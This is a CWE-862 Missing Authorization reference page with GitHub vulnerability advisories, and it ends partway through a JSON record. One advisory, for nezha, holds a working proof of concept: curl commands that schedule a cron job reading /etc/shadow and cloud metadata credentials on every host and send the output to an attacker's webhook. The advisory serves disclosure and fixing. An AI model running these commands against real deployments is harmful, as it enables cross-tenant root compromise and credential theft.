CWE-862
Weakness Allowed-with-ReviewMissing Authorization
Abstraction: Class · Status: Incomplete
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
Dimensions
- Behavior-Property: Missing
- Behavior-Type: Authorization
Mapping guidance
This CWE entry is a Class and might have Base-level children that would be more appropriate
Examine children of this entry to see if there is a better fit
Relationships and members
Modes of introduction
OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.
A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.
Detection methods
Automated Static Analysis
Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.
Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.
Effectiveness: Limited
Automated Dynamic Analysis
Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.
Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.
Effectiveness: Moderate
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: SOAR Partial
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Host Application Interface Scanner
Fuzz Tester
Framework-based Fuzzer
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: SOAR Partial
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction
Effectiveness: High
Notes
Terminology
Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.
Content history
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability
updated Demonstrative_Examples, Related_Attack_Patterns, Relationships
updated Potential_Mitigations, References, Relationships
updated Demonstrative_Examples, Observed_Examples, References, Relationships
updated Potential_Mitigations
updated Relationships
updated Detection_Factors
updated Relationships
updated Applicable_Platforms, Modes_of_Introduction, References, Relationships
updated References
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated Alternate_Terms, Observed_Examples
updated Observed_Examples, Related_Attack_Patterns, Relationships
updated Relationships
updated Relationships
updated Observed_Examples
updated Description, Potential_Mitigations
updated References, Relationships, Taxonomy_Mappings
updated Mapping_Notes, Relationships, Taxonomy_Mappings
updated Common_Consequences, Description, Diagram, Relationships, Terminology_Notes
updated Applicable_Platforms, Detection_Factors, Observed_Examples, References
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
updated Applicable_Platforms, Observed_Examples, Relationships
updated Applicable_Platforms, Dimensions, References, Relationships, Taxonomy_Mappings
19887 vulnerabilities reference this CWE, most recent first.
GHSA-994P-M2FC-8RMP
Vulnerability from github – Published: 2025-05-21 21:31 – Updated: 2026-04-08 18:33The Splitit plugin for WordPress is vulnerable to unauthorized modification of data due to missing capability checks on several functions in the 'splitIt-flexfields-payment-gateway.php' file in all versions up to, and including, 4.2.8. This makes it possible for authenticated attackers, with Subscriber-level access and above, to change plugin settings, including changing the environment from sandbox to production and vice versa.
{
"affected": [],
"aliases": [
"CVE-2025-4105"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-21T12:16:22Z",
"severity": "MODERATE"
},
"details": "The Splitit plugin for WordPress is vulnerable to unauthorized modification of data due to missing capability checks on several functions in the \u0027splitIt-flexfields-payment-gateway.php\u0027 file in all versions up to, and including, 4.2.8. This makes it possible for authenticated attackers, with Subscriber-level access and above, to change plugin settings, including changing the environment from sandbox to production and vice versa.",
"id": "GHSA-994p-m2fc-8rmp",
"modified": "2026-04-08T18:33:53Z",
"published": "2025-05-21T21:31:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4105"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/splitit-installment-payments/tags/4.2.6/splitIt-flexfields-payment-gateway.php#L1927"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/splitit-installment-payments/tags/4.2.6/splitIt-flexfields-payment-gateway.php#L765"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3297893%40splitit-installment-payments\u0026new=3297893%40splitit-installment-payments\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6471b075-8115-4d38-a7dd-2308dca69f15?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-995F-RPHP-2RCG
Vulnerability from github – Published: 2026-05-02 12:31 – Updated: 2026-05-02 12:31The Paid Memberships Pro plugin for WordPress is vulnerable to unauthorized modification and disruption of Stripe webhook configuration in all versions up to, and including, 3.6.5. This is due to missing capability checks on the wp_ajax_pmpro_stripe_create_webhook, wp_ajax_pmpro_stripe_delete_webhook, and wp_ajax_pmpro_stripe_rebuild_webhook AJAX handlers. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete, create, or rebuild the site's Stripe webhook, disrupting all payment processing, subscription renewal synchronization, cancellation handling, and failed payment management.
{
"affected": [],
"aliases": [
"CVE-2026-4100"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-02T12:16:16Z",
"severity": "HIGH"
},
"details": "The Paid Memberships Pro plugin for WordPress is vulnerable to unauthorized modification and disruption of Stripe webhook configuration in all versions up to, and including, 3.6.5. This is due to missing capability checks on the `wp_ajax_pmpro_stripe_create_webhook`, `wp_ajax_pmpro_stripe_delete_webhook`, and `wp_ajax_pmpro_stripe_rebuild_webhook` AJAX handlers. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete, create, or rebuild the site\u0027s Stripe webhook, disrupting all payment processing, subscription renewal synchronization, cancellation handling, and failed payment management.",
"id": "GHSA-995f-rphp-2rcg",
"modified": "2026-05-02T12:31:22Z",
"published": "2026-05-02T12:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4100"
},
{
"type": "WEB",
"url": "https://github.com/strangerstudios/paid-memberships-pro/pull/3615"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5b333a3d-e416-42aa-9722-5406df0a64b3?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9964-CW4F-C96R
Vulnerability from github – Published: 2026-10-13 00:31 – Updated: 2026-10-13 00:31Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks during document creation. Authenticated low-privileged users can send requests to these endpoints to create documents against records beyond their permitted role, bypassing role-based permission restrictions.
{
"affected": [],
"aliases": [
"CVE-2026-109617"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-12T23:17:26Z",
"severity": "HIGH"
},
"details": "Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks during document creation. Authenticated low-privileged users can send requests to these endpoints to create documents against records beyond their permitted role, bypassing role-based permission restrictions.",
"id": "GHSA-9964-cw4f-c96r",
"modified": "2026-10-13T00:31:27Z",
"published": "2026-10-13T00:31:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/frappe/erpnext/security/advisories/GHSA-vr45-2p9x-3vjc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-109617"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/frappe-erpnext-before-15.121.0-missing-authorization-in-record-creation-endpoints"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-996P-GJG5-JMFX
Vulnerability from github – Published: 2024-11-19 18:31 – Updated: 2026-04-01 18:32Missing Authorization vulnerability in CodeZel Combo WP Rewrite Slugs allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Combo WP Rewrite Slugs: from n/a through 1.0.
{
"affected": [],
"aliases": [
"CVE-2024-51817"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-19T17:15:28Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in CodeZel Combo WP Rewrite Slugs allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Combo WP Rewrite Slugs: from n/a through 1.0.",
"id": "GHSA-996p-gjg5-jmfx",
"modified": "2026-04-01T18:32:31Z",
"published": "2024-11-19T18:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51817"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/combo-wp-rewrite-slugs/vulnerability/wordpress-combo-wp-rewrite-slugs-plugin-1-0-settings-change-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/combo-wp-rewrite-slugs/wordpress-combo-wp-rewrite-slugs-plugin-1-0-settings-change-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-9997-JJ2V-V73P
Vulnerability from github – Published: 2024-06-09 12:30 – Updated: 2024-11-26 18:38Missing Authorization vulnerability in Aakash Chakravarthy Announcer – Notification & message bars.This issue affects Announcer – Notification & message bars: from n/a through 6.0.
{
"affected": [],
"aliases": [
"CVE-2024-31261"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-09T12:15:10Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Aakash Chakravarthy Announcer \u2013 Notification \u0026 message bars.This issue affects Announcer \u2013 Notification \u0026 message bars: from n/a through 6.0.",
"id": "GHSA-9997-jj2v-v73p",
"modified": "2024-11-26T18:38:46Z",
"published": "2024-06-09T12:30:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31261"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/announcer/wordpress-announcer-notification-message-bars-plugin-6-0-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-999H-9H4M-785Q
Vulnerability from github – Published: 2022-05-24 19:05 – Updated: 2022-05-24 19:05In isBackupServiceActive of BackupManagerService.java, there is a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11Android ID: A-158482162
{
"affected": [],
"aliases": [
"CVE-2021-0554"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-06-22T11:15:00Z",
"severity": "MODERATE"
},
"details": "In isBackupServiceActive of BackupManagerService.java, there is a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11Android ID: A-158482162",
"id": "GHSA-999h-9h4m-785q",
"modified": "2022-05-24T19:05:57Z",
"published": "2022-05-24T19:05:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-0554"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/pixel/2021-06-01"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-99CP-8R4M-63QQ
Vulnerability from github – Published: 2024-11-01 15:31 – Updated: 2024-11-01 15:31Missing Authorization vulnerability in Noptin Newsletter Noptin allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Noptin: from n/a through 3.4.2.
{
"affected": [],
"aliases": [
"CVE-2024-37456"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-01T15:15:25Z",
"severity": "MODERATE"
},
"details": "Missing Authorization vulnerability in Noptin Newsletter Noptin allows Accessing Functionality Not Properly Constrained by ACLs.This issue affects Noptin: from n/a through 3.4.2.",
"id": "GHSA-99cp-8r4m-63qq",
"modified": "2024-11-01T15:31:57Z",
"published": "2024-11-01T15:31:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37456"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/vulnerability/newsletter-optin-box/wordpress-simple-newsletter-plugin-noptin-plugin-3-4-2-broken-access-control-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-99GV-2M7H-3HH9
Vulnerability from github – Published: 2026-05-23 00:17 – Updated: 2026-06-26 21:28Summary
nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The cron routes POST /api/v1/cron and PATCH /api/v1/cron/:id are wired through commonHandler (any authenticated user) rather than adminHandler, and the per-server permission check on cron creation has a vacuous-true bypass.
A RoleMember user can create a scheduled cron task with Cover=CronCoverAll, Servers=[] and an arbitrary Command. At every tick of the scheduler, the dashboard pushes that command to every server in the global ServerShared map — including servers that belong to other tenants (admin's servers, other members' servers). Each agent runs the command and returns the output, which is then sent to the attacker's own NotificationGroup → attacker-controlled webhook.
Net effect: any RoleMember (including a self-bound OAuth2 user, if the dashboard has OAuth2 configured) gets pre-validated cross-tenant RCE on every nezha-monitored host in the deployment.
Affected versions
Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master.
The auth gate
// cmd/dashboard/controller/controller.go:131-135
auth.GET("/cron", listHandler(listCron))
auth.POST("/cron", commonHandler(createCron)) // <-- commonHandler, not adminHandler
auth.PATCH("/cron/:id", commonHandler(updateCron)) // <-- ditto
auth.GET("/cron/:id/manual", commonHandler(manualTriggerCron))
auth.POST("/batch-delete/cron", commonHandler(batchDeleteCron))
Compare with /user (adminHandler-gated). commonHandler (controller.go:214-218) only requires JWT auth — any role passes.
The vacuous-true permission bypass
// cmd/dashboard/controller/cron.go:45-85
func createCron(c *gin.Context) (uint64, error) {
var cf model.CronForm
var cr model.Cron
if err := c.ShouldBindJSON(&cf); err != nil { return 0, err }
// BUG: empty cf.Servers iterates zero items, returns true vacuously.
if !singleton.ServerShared.CheckPermission(c, slices.Values(cf.Servers)) {
return 0, singleton.Localizer.ErrorT("permission denied")
}
cr.UserID = getUid(c)
cr.TaskType = cf.TaskType
cr.Name = cf.Name
cr.Scheduler = cf.Scheduler
cr.Command = cf.Command // <-- attacker-controlled shell
cr.Servers = cf.Servers // <-- empty []
cr.PushSuccessful = cf.PushSuccessful
cr.NotificationGroupID = cf.NotificationGroupID
cr.Cover = cf.Cover // <-- CronCoverAll = 1
if cr.TaskType == model.CronTypeCronTask && cr.Cover == model.CronCoverAlertTrigger {
return 0, singleton.Localizer.ErrorT("scheduled tasks cannot be triggered by alarms")
}
var err error
if cf.TaskType == model.CronTypeCronTask {
if cr.CronJobID, err = singleton.CronShared.AddFunc(cr.Scheduler, singleton.CronTrigger(&cr)); err != nil {
return 0, err
}
}
if err = singleton.DB.Create(&cr).Error; err != nil {
return 0, newGormError("%v", err)
}
singleton.CronShared.Update(&cr)
return cr.ID, nil
}
ServerShared.CheckPermission (singleton.go:249-261) iterates idList; with cf.Servers == [], the for-range runs zero times and returns true. So a member can submit a cron with Servers=[] and skip the permission check entirely.
The cross-tenant fanout sink
// service/singleton/crontask.go:133-181
func CronTrigger(cr *model.Cron, triggerServer ...uint64) func() {
crIgnoreMap := make(map[uint64]bool)
for _, server := range cr.Servers {
crIgnoreMap[server] = true
}
return func() {
if cr.Cover == model.CronCoverAlertTrigger {
// ... (alert-only path; not used here)
return
}
// BUG: iterates EVERY server in global state, no per-server permission check.
for _, s := range ServerShared.Range {
if cr.Cover == model.CronCoverAll && crIgnoreMap[s.ID] {
continue // skip ignored
}
if cr.Cover == model.CronCoverIgnoreAll && !crIgnoreMap[s.ID] {
continue
}
if s.TaskStream != nil {
s.TaskStream.Send(&pb.Task{
Id: cr.ID,
Data: cr.Command, // <-- shell command, run as agent UID (often root)
Type: model.TaskTypeCommand,
})
}
}
}
}
Compare with the service-task path, which DOES gate per-server (canSendTaskToServer at cmd/dashboard/rpc/rpc.go:179-190 enforces task.UserID == server.UserID || taskOwnerIsAdmin). The cron path skips that check entirely.
The output-exfil channel
// service/rpc/nezha.go:56-76
case model.TaskTypeCommand:
cr, _ := singleton.CronShared.Get(result.GetId())
if cr != nil {
var curServer model.Server
copier.Copy(&curServer, server)
if cr.PushSuccessful && result.GetSuccessful() {
singleton.NotificationShared.SendNotification(cr.NotificationGroupID, fmt.Sprintf("[%s] %s, %s\n%s", singleton.Localizer.T("Scheduled Task Executed Successfully"),
cr.Name, server.Name, result.GetData()), "", &curServer)
}
if !result.GetSuccessful() {
singleton.NotificationShared.SendNotification(cr.NotificationGroupID, fmt.Sprintf("[%s] %s, %s\n%s", singleton.Localizer.T("Scheduled Task Executed Failed"),
cr.Name, server.Name, result.GetData()), "", &curServer)
}
}
result.GetData() is the agent's stdout/stderr. With cr.PushSuccessful = true set by the attacker, the command output is exfil'd to whatever NotificationGroup the attacker chose. Members can create their own Notifications (Webhook-type via POST /api/v1/notification) and Groups (POST /api/v1/notification-group), and these are owned by the member — NotificationShared.CheckPermission passes. So the attacker creates a member-owned webhook pointing at https://attacker.example.com/exfil, then references it in the cron.
End-to-end PoC
Pre-conditions: attacker has RoleMember credentials. Either admin gave them an account, or the dashboard has OAuth2 self-bind enabled.
Step 0: Get JWT (standard login).
TOKEN=$(curl -sX POST -H 'Content-Type: application/json' \
-d '{"username":"member","password":"hunter2"}' \
http://nezha.example.com/api/v1/login | jq -r .token)
Step 1: Create a webhook notification + group owned by the member, pointing at attacker server.
NID=$(curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"name":"x","url":"https://webhook.site/<attacker>","request_method":2,"request_type":1,"verify_tls":false,"skip_check":true}' \
http://nezha.example.com/api/v1/notification | jq -r .data)
GID=$(curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d "{\"name\":\"g\",\"notifications\":[$NID]}" \
http://nezha.example.com/api/v1/notification-group | jq -r .data)
Step 2: Create the cross-tenant cron.
curl -sX POST -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d "{\"name\":\"x\",\"task_type\":0,\"scheduler\":\"*/1 * * * * *\",\"command\":\"id; hostname; cat /etc/shadow; curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/\",\"servers\":[],\"cover\":1,\"push_successful\":true,\"notification_group_id\":$GID}" \
http://nezha.example.com/api/v1/cron
Step 3: Within ~1 second, every monitored agent in the deployment runs the command and pushes output to the attacker's webhook with the per-server hostname. From c1c1cd1.../webhook.site/<attacker>:
[Scheduled Task Executed Successfully] x, admin-prod-db-01
uid=0(root) gid=0(root) groups=0(root)
admin-prod-db-01.internal
root:$6$KfTdXrLP$...
ASIAEXAMPLEACCESSKEY|aws.example.secret.key|aws.example.session.token
(Output is shown for each of the N agents in the deployment, one webhook fire per agent.)
Reachability — additional notes
- Default deployment: there is no requirement that an admin even creates a member account explicitly — the dashboard may have OAuth2 self-registration via
singleton.Conf.Oauth2[provider]. If admin enables OAuth2 auto-bind, any GitHub user can become a member; combined with this bug, that's near-pre-auth RCE. - The nezha agent typically runs as root (it monitors disk/CPU/processes that require root on Linux); see https://nezha.wiki for the standard install script that uses
sudo systemctl. - The attack works whether
Cover=CronCoverAll(deny-list, empty) orCover=CronCoverIgnoreAll(allow-list — but you'd need server IDs you don't own, which requires a separate enumeration step).Cover=CronCoverAll, Servers=[]is the simplest payload.
Suggested fix
- Switch
/cronwrites toadminHandler. Same fix as the/userand/settingroutes already use.
go
auth.POST("/cron", adminHandler(createCron))
auth.PATCH("/cron/:id", adminHandler(updateCron))
auth.GET("/cron/:id/manual", adminHandler(manualTriggerCron))
auth.POST("/batch-delete/cron", adminHandler(batchDeleteCron))
- Per-server permission gate in
CronTrigger. Defense-in-depth: even an admin should not push a cron task to a server they don't own. Add the equivalent ofcanSendTaskToServer(task, server)(already used inservice/rpc/rpc.go:179-190for service tasks) before eachs.TaskStream.Send():
go
for _, s := range ServerShared.Range {
if cr.UserID != s.UserID && !cronOwnerIsAdmin(cr) {
continue
}
// ... existing send logic
}
- Reject empty
ServersforCover=CronCoverAll. A deny-list with zero entries blasting an unrestricted command at every host is dangerous regardless of role:
go
if cf.Cover == model.CronCoverAll && len(cf.Servers) == 0 {
return 0, errors.New("a cover-all cron must explicitly list at least one ignored server")
}
- Optional: forbid
cf.PushSuccessful=truefor non-admin to slow down the output-exfil step.
Severity
- CVSS 3.1: Critical —
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H≈ 9.0. - PR:L because attacker needs
RoleMember(admin-issued, or OAuth2 auto-bind). - S:C because compromise of the dashboard yields RCE on every connected agent host (a separate trust zone).
- C/I/A:H because RCE-as-root is the primary impact.
- Auth: authenticated
RoleMember(Role == 1). - CWE: CWE-862 (Missing Authorization), CWE-78 (OS Command Injection), CWE-269 (Improper Privilege Management).
Reproduction environment
- Tested against:
nezhahq/nezhamaster @50dc8e660326b9f22990898142c58b7a5312b42a. - Code locations:
- Auth gate:
cmd/dashboard/controller/controller.go:131-135(commonHandler), 214-236 (handler defs) - Bypass:
cmd/dashboard/controller/cron.go:53-55(vacuous-trueCheckPermissionon emptycf.Servers) - Sink:
service/singleton/crontask.go:133-181(CronTriggeriterates all servers) - Output exfil:
service/rpc/nezha.go:56-76 - Comparison (correct gating):
cmd/dashboard/rpc/rpc.go:179-190(canSendTaskToServerfor service tasks)
Reporter
Eddie Ran. Filed via the GitHub Security Advisory reporter API. nezha's SECURITY.md mentions email hi@nai.ba; happy to follow up there if the maintainer prefers email coordination.
This is a follow-up to the same auth-bypass class as GHSA-w4g9-mxgg-j532 (NEZHA-001 — /notification SSRF, also commonHandler-gated). The cron path is materially worse because it produces RCE rather than SSRF.
Companion finding: nezhahq/agent plaintext gRPC channel (NEZHA-AGENT-001)
Filing channel issue: nezhahq/agent has private vulnerability reporting disabled (verified via GET /repos/nezhahq/agent/private-vulnerability-reporting), so I cannot file the companion finding via the GHSA reporter API. Adding it here so it lands in the same maintainer triage thread.
Summary. The dashboard→agent control channel uses plaintext gRPC by default. agentConfig.TLS zero-value is false; the install script's [y/N] prompt defaults to false. AuthHandler.RequireTransportSecurity() returns false. An on-path attacker on the dashboard↔agent network path captures client_secret+client_uuid, terminates the agent's TCP connection, and injects a CommandTask over plaintext gRPC. The agent runs the task via sh -c <attacker-string> as the systemd-installed UID (typically root).
Adjacent-network attack vector (corp LAN, datacenter VLAN, cloud VPC peer, hostile WiFi for self-hosters).
Why filable. This completes the threat model for the dashboard-side findings (NEZHA-001 / -002 / -003) — those findings all implicitly assume a trusted dashboard→agent channel. NEZHA-AGENT-001 disproves that assumption: a co-resident network attacker (no auth required) gets root on every agent host, with no dashboard compromise needed.
Severity: High (CVSS ~7.5, AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Adjacent-network reach + RCE-as-root, post-pwn fanout to every monitored host.
Suggested fix.
1. Make TLS the install-script default ([Y/n]) instead of [y/N].
2. Even if operator opts out of CA-issued TLS, generate a self-signed cert pinned to the dashboard's published key on first connect; refuse plaintext.
3. Add AuthHandler.RequireTransportSecurity() returning true unconditionally.
4. Document this as a must-enable in the agent install README.
Disclosure draft is on file in the moneyhunter campaign workspace under findings/NEZHA-AGENT-001-DISCLOSURE.md and findings/NEZHA-AGENT-001.yaml — happy to share by whatever channel the maintainer prefers (these are deliverable as a single coordinated email or as a fork-PR-with-private-collaboration if PVR gets enabled on nezhahq/agent).
— Eddie Ran
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/nezhahq/nezha"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "1.14.15-0.20260517022419-d7526351cf97"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46716"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-78",
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-23T00:17:58Z",
"nvd_published_at": "2026-06-12T22:16:50Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\n`nezha`\u0027s dashboard supports two user roles: `RoleAdmin` (Role==0) and `RoleMember` (Role==1). The cron routes `POST /api/v1/cron` and `PATCH /api/v1/cron/:id` are wired through `commonHandler` (any authenticated user) rather than `adminHandler`, and the per-server permission check on cron creation has a vacuous-true bypass.\n\nA `RoleMember` user can create a scheduled cron task with `Cover=CronCoverAll, Servers=[]` and an arbitrary `Command`. At every tick of the scheduler, the dashboard pushes that command to **every server in the global `ServerShared` map** \u2014 including servers that belong to other tenants (admin\u0027s servers, other members\u0027 servers). Each agent runs the command and returns the output, which is then sent to the attacker\u0027s own NotificationGroup \u2192 attacker-controlled webhook.\n\nNet effect: any `RoleMember` (including a self-bound OAuth2 user, if the dashboard has OAuth2 configured) gets pre-validated cross-tenant RCE on every nezha-monitored host in the deployment.\n\n## Affected versions\n\nCommit `50dc8e660326b9f22990898142c58b7a5312b42a` and earlier on `master`.\n\n## The auth gate\n\n```go\n// cmd/dashboard/controller/controller.go:131-135\nauth.GET(\"/cron\", listHandler(listCron))\nauth.POST(\"/cron\", commonHandler(createCron)) // \u003c-- commonHandler, not adminHandler\nauth.PATCH(\"/cron/:id\", commonHandler(updateCron)) // \u003c-- ditto\nauth.GET(\"/cron/:id/manual\", commonHandler(manualTriggerCron))\nauth.POST(\"/batch-delete/cron\", commonHandler(batchDeleteCron))\n```\n\nCompare with `/user` (adminHandler-gated). `commonHandler` (controller.go:214-218) only requires JWT auth \u2014 any role passes.\n\n## The vacuous-true permission bypass\n\n```go\n// cmd/dashboard/controller/cron.go:45-85\nfunc createCron(c *gin.Context) (uint64, error) {\n var cf model.CronForm\n var cr model.Cron\n if err := c.ShouldBindJSON(\u0026cf); err != nil { return 0, err }\n\n // BUG: empty cf.Servers iterates zero items, returns true vacuously.\n if !singleton.ServerShared.CheckPermission(c, slices.Values(cf.Servers)) {\n return 0, singleton.Localizer.ErrorT(\"permission denied\")\n }\n\n cr.UserID = getUid(c)\n cr.TaskType = cf.TaskType\n cr.Name = cf.Name\n cr.Scheduler = cf.Scheduler\n cr.Command = cf.Command // \u003c-- attacker-controlled shell\n cr.Servers = cf.Servers // \u003c-- empty []\n cr.PushSuccessful = cf.PushSuccessful\n cr.NotificationGroupID = cf.NotificationGroupID\n cr.Cover = cf.Cover // \u003c-- CronCoverAll = 1\n\n if cr.TaskType == model.CronTypeCronTask \u0026\u0026 cr.Cover == model.CronCoverAlertTrigger {\n return 0, singleton.Localizer.ErrorT(\"scheduled tasks cannot be triggered by alarms\")\n }\n\n var err error\n if cf.TaskType == model.CronTypeCronTask {\n if cr.CronJobID, err = singleton.CronShared.AddFunc(cr.Scheduler, singleton.CronTrigger(\u0026cr)); err != nil {\n return 0, err\n }\n }\n\n if err = singleton.DB.Create(\u0026cr).Error; err != nil {\n return 0, newGormError(\"%v\", err)\n }\n\n singleton.CronShared.Update(\u0026cr)\n return cr.ID, nil\n}\n```\n\n`ServerShared.CheckPermission` (singleton.go:249-261) iterates `idList`; with 